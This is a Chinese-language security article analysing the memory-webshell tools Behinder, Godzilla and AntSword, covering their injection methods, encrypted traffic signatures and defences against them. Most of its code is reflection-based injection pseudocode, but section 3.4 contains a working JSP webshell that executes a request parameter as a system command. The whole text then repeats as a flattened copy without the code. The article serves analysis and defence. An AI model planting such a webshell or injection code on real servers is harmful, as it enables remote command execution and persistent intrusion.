内存马连接工具:技术特性与攻防分析
字数 2957 2025-09-01 11:26:11

内存马连接工具技术特性与攻防分析

1. 冰蝎(Behinder)技术分析

1.1 核心特点

  • 采用"无文件免杀+动态内存注入"原理
  • 配合AES加密通信
  • 基于Filter或Servlet挂载
  • 利用漏洞作为入口点注入Java Agent或Loader

1.2 注入过程

  1. 通过反序列化漏洞(如WebLogic T3、Shiro反序列化)或文件上传作为跳板
  2. Loader执行后获取Web容器上下文对象
  3. 通过反射调用addFilter、addServlet或直接修改容器内部结构

1.3 通信协议

  • 自定义AES对称加密协议
  • 密钥在内存马注入时协商或硬编码
  • 流量为经过AES加密处理的二进制数据

1.4 典型内存马类型

  • JSP内存马
  • Tomcat Filter内存马
  • Spring Controller内存马

1.5 Behinder-Filter型内存马技术细节

  1. 动态获取ApplicationFilterChain对象
  2. 通过反射机制修改内部Filter集合
  3. 注入自定义恶意Filter实例到请求处理链
// 伪代码示例
ServletContext servletContext = getServletContextFromRequest(request);
Object applicationFilterChain = getApplicationFilterChain();
byte[] maliciousFilterBytes = generateBehinderFilterBytecode();
Class<?> maliciousFilterClass = defineClass(maliciousFilterBytes);
Filter maliciousFilter = (Filter) maliciousFilterClass.newInstance();
// 后续通过反射注入Filter到FilterChain

1.6 Behinder-Servlet型内存马技术细节

  1. 调用ServletContext.addServlet API
  2. 动态注册新的恶意Servlet
  3. 映射到攻击者自定义URL路径
// 伪代码示例
ServletContext servletContext = getServletContextFromRequest(request);
byte[] maliciousServletBytes = generateBehinderServletBytecode();
Class<?> maliciousServletClass = defineClass(maliciousServletBytes);
Servlet maliciousServlet = (Servlet) maliciousServletClass.newInstance();
ServletRegistration.Dynamic dynamic = servletContext.addServlet("behinderServlet", maliciousServlet);
dynamic.addMapping("/behinderShell");

1.7 流量特征

  • POST请求,Body数据是AES加密+Base64编码的二进制串
  • 请求URL通常是内存马注入的合法路径或新注册路径
  • 参数名通常为随机字符串或可配置

示例请求:

POST /index.jsp HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
[随机参数名]=[Base64(AES加密数据)]

2. 哥斯拉(Godzilla)技术分析

2.1 核心特点

  • 以JSP Webshell起家,配套各种内存马注入器
  • 多种编码器+插件
  • 注重免杀与长连接管理
  • 支持多语言(Java、PHP、ASP、ASP.NET等)

2.2 核心思路

  1. 上传基础JSP马作为Loader入口
  2. 基础马加载Memory Shell Loader
  3. Loader执行内存马注入工作

2.3 通信加密

  • AES加密+Base64编码
  • 可自定义HTTP Header和参数名
  • 流量模拟正常HTTP表单传输

2.4 免杀特性

  • 动态生成字节码
  • 加密数据
  • 插件化机制可替换加密算法和编码器

2.5 Godzilla-Filter型内存马

// 伪代码示例
byte[] godzillaLoaderBytes = getBytesFromRequestParameter("loader");
Class<?> godzillaLoaderClass = defineClass(godzillaLoaderBytes);
Object loaderInstance = godzillaLoaderClass.newInstance();
Method injectFilterMethod = godzillaLoaderClass.getMethod("injectFilter", ServletContext.class, String.class);
injectFilterMethod.invoke(loaderInstance, servletContext, "/godzillaFilterPath");

2.6 Godzilla-Valve型内存马

  1. 获取Tomcat的Engine或Host对象的Pipeline
  2. 通过反射调用addValve方法
  3. 注入自定义恶意Valve实例
// 伪代码示例
Server server = getTomcatServerInstance();
Pipeline pipeline = server.findService("Catalina").getContainer().getPipeline();
byte[] maliciousValveBytes = generateGodzillaValveBytecode();
Class<?> maliciousValveClass = defineClass(maliciousValveBytes);
Valve maliciousValve = (Valve) maliciousValveClass.newInstance();
Method addValveMethod = Pipeline.class.getDeclaredMethod("addValve", Valve.class);
addValveMethod.setAccessible(true);
addValveMethod.invoke(pipeline, maliciousValve);

2.7 Godzilla-Spring型内存马

  1. 获取Spring应用上下文中的RequestMappingHandlerMapping Bean
  2. 通过反射调用registerHandlerMethod
  3. 注册动态生成的恶意Controller Bean
// 伪代码示例
ApplicationContext context = getSpringApplicationContext();
RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
byte[] maliciousControllerBytes = generateGodzillaControllerBytecode();
Class<?> maliciousControllerClass = defineClass(maliciousControllerBytes);
Object maliciousController = maliciousControllerClass.newInstance();
Method targetMethod = maliciousControllerClass.getMethod("handleRequest");
RequestMappingInfo mappingInfo = RequestMappingInfo.paths("/godzillaSpringShell").build();
Method registerHandlerMethod = RequestMappingHandlerMapping.class.getDeclaredMethod(
    "registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
registerHandlerMethod.invoke(handlerMapping, maliciousController, targetMethod, mappingInfo);
handlerMapping.afterPropertiesSet();

2.8 流量特征

  • POST请求体包含Base64编码的AES加密数据
  • 参数名和值可高度混淆或随机
  • User-Agent可能含"Godzilla"(可自定义)

示例请求:

POST /index.jsp HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
pass=[Base64(AES加密数据)]&sessionid=[Base64(AES加密数据)]

3. 蚁剑(AntSword)技术分析

3.1 核心特点

  • 早期偏向PHP,JSP是次要
  • 主要用于管理传统文件型Webshell
  • 后期支持内存马和自定义编码器
  • 高度自定义自由度

3.2 核心思路

  1. 部署JSP后门文件作为入口
  2. 通过后门执行Java代码
  3. 上传并执行定制Java类(MemoryShellLoader)
  4. Loader动态注册恶意组件

3.3 通信加密

  • 支持自定义编码器
  • 可以是简单Base64或复杂加密算法
  • 流量特征高度依赖编码器

3.4 AntSword-JSP内存马示例

<%@ page import="java.io.*,java.util.*,java.lang.reflect.*,javax.servlet.*,javax.servlet.http.*"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
    try {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        StringBuilder sb = new StringBuilder();
        while ((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }
        out.println(sb.toString());
    } catch (Exception e) {
        out.println(e.getMessage());
    }
}
%>

3.5 流量特征

  • 默认Base64编码:参数为Base64编码的命令或代码
  • 自定义编码器:特征随编码器变化
  • 参数名可自定义

示例请求:

POST /shell.jsp HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
z1=Q2xhc3MuZm9yTmFtZSgiYW50c3dvcmQuTG9hZGVyIikuZ2V0TWV0aG9kKCJpbmplY3QiL...

4. 工具对比

特性 冰蝎(Behinder) 哥斯拉(Godzilla) 蚁剑(AntSword)
主打 内存马远控 内存马+多语言支持 文件型马管理+自定义内存注入
通信 AES加密(自定义协议) AES+Base64 可自定义编码器
默认支持马型 Filter、Servlet、Valve、Spring Controller Filter、Valve、Spring Controller、Listener 主要依赖用户自定义注入
特点 流量特征隐蔽、持久化强 插件化丰富、支持跨语言 社区脚本多、自定义自由度高
常用场景 红队内网持久化、Web应用RCE后门 内网后渗透横向、多环境适配 传统WebShell管理、二次利用
流量特征 POST请求,参数值AES加密+Base64 POST请求,参数值AES加密+Base64,User-Agent可能含"Godzilla" POST请求,参数值取决于编码器(多为Base64)
核心注入 内置高度集成、混淆的Loader 内置模块化Loader 依赖外部注入脚本

5. 典型攻击流程(共性)

  1. 获取初始权限:通过应用程序漏洞(文件上传、反序列化、RCE等)
  2. 通过初步落地脚本执行Loader
  3. Loader通过反射/类加载器注入恶意字节码
  4. 动态注册挂钩点(FilterChain、ServletContext等)
  5. 后续命令通过自定义加密协议远程发送
  6. 流量伪装成正常业务
  7. 持久化驻留

6. 防御关键点

6.1 技术防御措施

  1. 禁用危险的动态加载点:

    • 限制defineClass、TemplatesImpl、BCEL等危险方法
    • 监控类加载行为
  2. WAF/IPS配置:

    • 检测高危关键字(eval、exec、ProcessBuilder)
    • 识别异常HTTP方法、隐藏参数
    • 检测特征性流量(特定User-Agent、异常Base64参数等)
  3. 部署EDR/HIDS与内存巡检:

    • 实时监控JVM进程行为
    • 使用Arthas、MAT等工具定期分析内存快照
    • 查找动态生成的类、可疑字节数组和反射调用链
  4. 运行时组件比对与基线管理:

    • 定期比对Filter、Servlet、Valve、Listener等组件的注册状态
    • 任何未在配置文件声明的动态注册组件视为异常

6.2 管理防御措施

  1. 加固上传点与反序列化点:

    • 严格校验文件上传(MIME类型、内容、后缀名)
    • 反序列化入口使用白名单机制
    • 禁用危险的类
  2. 限制可执行文件和类白名单:

    • 实施严格的应用程序控制
    • 限制可执行的二进制文件和可加载的类
  3. 日志审计与SIEM联动:

    • 收集Web服务器访问日志、应用日志、安全设备日志
    • SIEM系统关联分析
    • 配置告警规则识别异常行为

7. 总结

内存马技术已成为现代Web安全攻防的重要战场。冰蝎、哥斯拉和蚁剑作为主流工具,各有特点:冰蝎专注于内存马的隐蔽性和持久化,哥斯拉强调多语言支持和插件化,蚁剑则提供高度自定义能力。防御方需要从技术和管理两个层面构建纵深防御体系,重点关注动态加载行为监控、内存状态检测和运行时组件基线管理,才能有效应对日益复杂的内存马威胁。

内存马连接工具技术特性与攻防分析 1. 冰蝎(Behinder)技术分析 1.1 核心特点 采用"无文件免杀+动态内存注入"原理 配合AES加密通信 基于Filter或Servlet挂载 利用漏洞作为入口点注入Java Agent或Loader 1.2 注入过程 通过反序列化漏洞(如WebLogic T3、Shiro反序列化)或文件上传作为跳板 Loader执行后获取Web容器上下文对象 通过反射调用addFilter、addServlet或直接修改容器内部结构 1.3 通信协议 自定义AES对称加密协议 密钥在内存马注入时协商或硬编码 流量为经过AES加密处理的二进制数据 1.4 典型内存马类型 JSP内存马 Tomcat Filter内存马 Spring Controller内存马 1.5 Behinder-Filter型内存马技术细节 动态获取ApplicationFilterChain对象 通过反射机制修改内部Filter集合 注入自定义恶意Filter实例到请求处理链 1.6 Behinder-Servlet型内存马技术细节 调用ServletContext.addServlet API 动态注册新的恶意Servlet 映射到攻击者自定义URL路径 1.7 流量特征 POST请求,Body数据是AES加密+Base64编码的二进制串 请求URL通常是内存马注入的合法路径或新注册路径 参数名通常为随机字符串或可配置 示例请求: 2. 哥斯拉(Godzilla)技术分析 2.1 核心特点 以JSP Webshell起家,配套各种内存马注入器 多种编码器+插件 注重免杀与长连接管理 支持多语言(Java、PHP、ASP、ASP.NET等) 2.2 核心思路 上传基础JSP马作为Loader入口 基础马加载Memory Shell Loader Loader执行内存马注入工作 2.3 通信加密 AES加密+Base64编码 可自定义HTTP Header和参数名 流量模拟正常HTTP表单传输 2.4 免杀特性 动态生成字节码 加密数据 插件化机制可替换加密算法和编码器 2.5 Godzilla-Filter型内存马 2.6 Godzilla-Valve型内存马 获取Tomcat的Engine或Host对象的Pipeline 通过反射调用addValve方法 注入自定义恶意Valve实例 2.7 Godzilla-Spring型内存马 获取Spring应用上下文中的RequestMappingHandlerMapping Bean 通过反射调用registerHandlerMethod 注册动态生成的恶意Controller Bean 2.8 流量特征 POST请求体包含Base64编码的AES加密数据 参数名和值可高度混淆或随机 User-Agent可能含"Godzilla"(可自定义) 示例请求: 3. 蚁剑(AntSword)技术分析 3.1 核心特点 早期偏向PHP,JSP是次要 主要用于管理传统文件型Webshell 后期支持内存马和自定义编码器 高度自定义自由度 3.2 核心思路 部署JSP后门文件作为入口 通过后门执行Java代码 上传并执行定制Java类(MemoryShellLoader) Loader动态注册恶意组件 3.3 通信加密 支持自定义编码器 可以是简单Base64或复杂加密算法 流量特征高度依赖编码器 3.4 AntSword-JSP内存马示例 3.5 流量特征 默认Base64编码:参数为Base64编码的命令或代码 自定义编码器:特征随编码器变化 参数名可自定义 示例请求: 4. 工具对比 | 特性 | 冰蝎(Behinder) | 哥斯拉(Godzilla) | 蚁剑(AntSword) | |------|---------------|----------------|----------------| | 主打 | 内存马远控 | 内存马+多语言支持 | 文件型马管理+自定义内存注入 | | 通信 | AES加密(自定义协议) | AES+Base64 | 可自定义编码器 | | 默认支持马型 | Filter、Servlet、Valve、Spring Controller | Filter、Valve、Spring Controller、Listener | 主要依赖用户自定义注入 | | 特点 | 流量特征隐蔽、持久化强 | 插件化丰富、支持跨语言 | 社区脚本多、自定义自由度高 | | 常用场景 | 红队内网持久化、Web应用RCE后门 | 内网后渗透横向、多环境适配 | 传统WebShell管理、二次利用 | | 流量特征 | POST请求,参数值AES加密+Base64 | POST请求,参数值AES加密+Base64,User-Agent可能含"Godzilla" | POST请求,参数值取决于编码器(多为Base64) | | 核心注入 | 内置高度集成、混淆的Loader | 内置模块化Loader | 依赖外部注入脚本 | 5. 典型攻击流程(共性) 获取初始权限:通过应用程序漏洞(文件上传、反序列化、RCE等) 通过初步落地脚本执行Loader Loader通过反射/类加载器注入恶意字节码 动态注册挂钩点(FilterChain、ServletContext等) 后续命令通过自定义加密协议远程发送 流量伪装成正常业务 持久化驻留 6. 防御关键点 6.1 技术防御措施 禁用危险的动态加载点: 限制defineClass、TemplatesImpl、BCEL等危险方法 监控类加载行为 WAF/IPS配置: 检测高危关键字(eval、exec、ProcessBuilder) 识别异常HTTP方法、隐藏参数 检测特征性流量(特定User-Agent、异常Base64参数等) 部署EDR/HIDS与内存巡检: 实时监控JVM进程行为 使用Arthas、MAT等工具定期分析内存快照 查找动态生成的类、可疑字节数组和反射调用链 运行时组件比对与基线管理: 定期比对Filter、Servlet、Valve、Listener等组件的注册状态 任何未在配置文件声明的动态注册组件视为异常 6.2 管理防御措施 加固上传点与反序列化点: 严格校验文件上传(MIME类型、内容、后缀名) 反序列化入口使用白名单机制 禁用危险的类 限制可执行文件和类白名单: 实施严格的应用程序控制 限制可执行的二进制文件和可加载的类 日志审计与SIEM联动: 收集Web服务器访问日志、应用日志、安全设备日志 SIEM系统关联分析 配置告警规则识别异常行为 7. 总结 内存马技术已成为现代Web安全攻防的重要战场。冰蝎、哥斯拉和蚁剑作为主流工具,各有特点:冰蝎专注于内存马的隐蔽性和持久化,哥斯拉强调多语言支持和插件化,蚁剑则提供高度自定义能力。防御方需要从技术和管理两个层面构建纵深防御体系,重点关注动态加载行为监控、内存状态检测和运行时组件基线管理,才能有效应对日益复杂的内存马威胁。